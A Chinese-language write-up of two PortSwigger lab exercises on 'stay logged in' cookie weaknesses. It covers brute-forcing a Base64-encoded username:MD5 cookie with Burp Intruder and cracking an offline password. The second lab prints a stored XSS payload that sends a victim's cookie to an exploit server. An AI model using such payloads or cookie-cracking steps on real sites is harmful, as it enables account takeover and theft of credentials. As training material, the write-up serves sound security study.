在学习本章前,建议先对前序章节进行了解,传送门如下:
本章节结合靶场试验来介绍一些与身份验证相关的补充功能,并演示这些功能如何容易受到攻击。
除了基本的登录功能外,大多数网站还提供补充功能以允许用户管理他们的账户。例如,用户通常可以在忘记密码时更改密码或重置密码。
这些机制都可能引入攻击者可以利用的漏洞,网站通常会注意避免登录页面中存在众所周知的漏洞,但很容易忽略其他功能的防护。这种防护在攻击者能够创建自己的账户并可以轻松访问以及研究这些附加功能时尤为重要。
保持用户登录
一个常见的功能是即使在关闭浏览器后会话也可以保持登录状态,这通常是一个简单的复选框,标有“记住我”或“让我登录”之类的标签。
这个功能通常通过生成某种“记住我”的令牌来实现,然后将其存储在持久的cookie中。如果拥有此cookie我们就可以绕过整个登录过程,因此最好的方法是此cookie无法猜测。
但是,某些网站会根据可预测的静态值串联生成此cookie,例如用户名和时间戳,有些甚至使用密码作为cookie的一部分。
如果攻击者能够创建自己的账户,这种方法尤其危险,因为他们可以研究自己的cookie并推断出它是如何生成的。一旦攻击者制定出公式,他们就可以尝试暴力破解其他用户的cookie以访问他们的账户。
一些网站认为如果cookie以某种方式加密,即使使用的是静态值,也不会被猜测到。如果加密强度够这种方法也是正确的,但如果使用类似Base64这样简单的双向编码来加密cookie是不会有任何防护效果的。即使是使用hash算法来进行加密也不是完全安全的。
如果攻击者能够轻松识别散列算法,并且没有使用随机数散列的话,就可以通过散列其单词列表来暴力破解cookie。
因此,如果不在cookie猜测上进行限制,那么就很有可能会被绕过登录。
即使攻击者无法创建自己的账户,仍然可以利用这个漏洞,通过XSS等常用技术,攻击者可以窃取另一个用户的cookie,并由此推断cookie是如何构造的,如果网站是使用开源框架构建的,那么cookie构建的关键细节甚至可能会被公开。
在极少数情况下,即使经过哈希处理,也可以从cookie中以明文形式获取用户的实际密码。众所周知的密码散列列表都可以找到,如果用户的密码出现在这些列表中,通过解密散列就可以很容易的得到密码。
场景试验-暴力破解保持登录状态的cookie:
https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie
场景说明:
这个场景允许用户在关闭浏览器后会话仍然保持登录状态,在这个功能下cookie容易受到暴力破解。
试验目的:
要完成这个试验,暴力破解carlos的cookie以访问他的"Myaccount"页面。
攻击过程:
①先采用场景提供的账号勾选"Stay loogedin"后进行登录,通过BurpSuite抓包可以看到,有个"stay-logged-in cookie",在Inspector中可以看到这个cookie是基于Base64进行加密的,解后的值是
wiener:51dc30ddc473d43a6011e9ebba6ca770
前面部分是用户名,后面那串是32位字符,猜测可能跟MD5有关,通过对密码"peter"进行MD5 Hash后发现,就是上面那串字符,所以可以确定这个cookie的组成结构:
②登出这个账户,把最新的GET /my-account带登录cookie的请求发送给Intruder
③在Positions标签中,先清空所有变量,随后将"stay-logged-in"后面的cookie设置为变量
④在Payloads标签中,将密码字典粘贴进去
在Payload Processing选项中,按照顺序分别添加三个动作:
●先用MD5对密码进行Hash;
●再在头部增加"carlos:"
●最后再对整个变量进行Base64加密
如果可以成功登录的话,返回页面中会有个"Update email"的按钮,我们在Options选项卡中对响应包进行关键字监控,随后进行自动攻击
⑤从攻击结果中可以看到有返回关键字的响应,表明利用登录状态登录成功,完成试验。
本试验小结:
这个场景主要利用的自动登录维持状态cookie的漏洞,关键是cookie生成的机制过于简单,容易被攻击者猜测。
场景试验-离线密码破解:
https://portswigger.net/web-security/authentication/other-mechanisms/lab-offline-password-cracking
场景说明:
这个场景将用户的密码哈希后存储在cookie中,这个场景在评论功能中还包含XSS漏洞。
试验目的:
要完成这个试验,通过获取carlos保持登录的cookie来破解他的密码,并以carlos身份登录后删除他的账户。
攻击过程:
①跟上一个场景类似,先登录场景提供的账号,随后通过抓包分析"stay-logged-in"的cookie,其组合规则依旧是:
username+':'+md5HashofPassword
因此如果可以想办法获取到受害者这个cookie的话,就可以逆推出密码。
②这个Blog存在XSS漏洞,我们可以通过在留言板留下跨站脚本来盗取受害者的cookie
<script>document.location='//your-exploit-server-id.web-security-academy.net/'+document.cookie</script>
"your-exploit-server-id"替换成exploitserver的URL地址,随后提交这条留言
③进入Exploit Server,打开access log,可以看到已经捕获到了受害者的"stay-logged-in"cookie
④在Burp Suite的Decoder解码器中,用base64反向解密下,可以得到:
carlos:26323c16d5f4dabff3bb136f2460a943
⑤找个在线解析MD5的,将后面字符串反向解析下,可以得到密码
⑥用户名carlos和上面得到的密码,进行登录,登录后删除账户即可完成试验
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...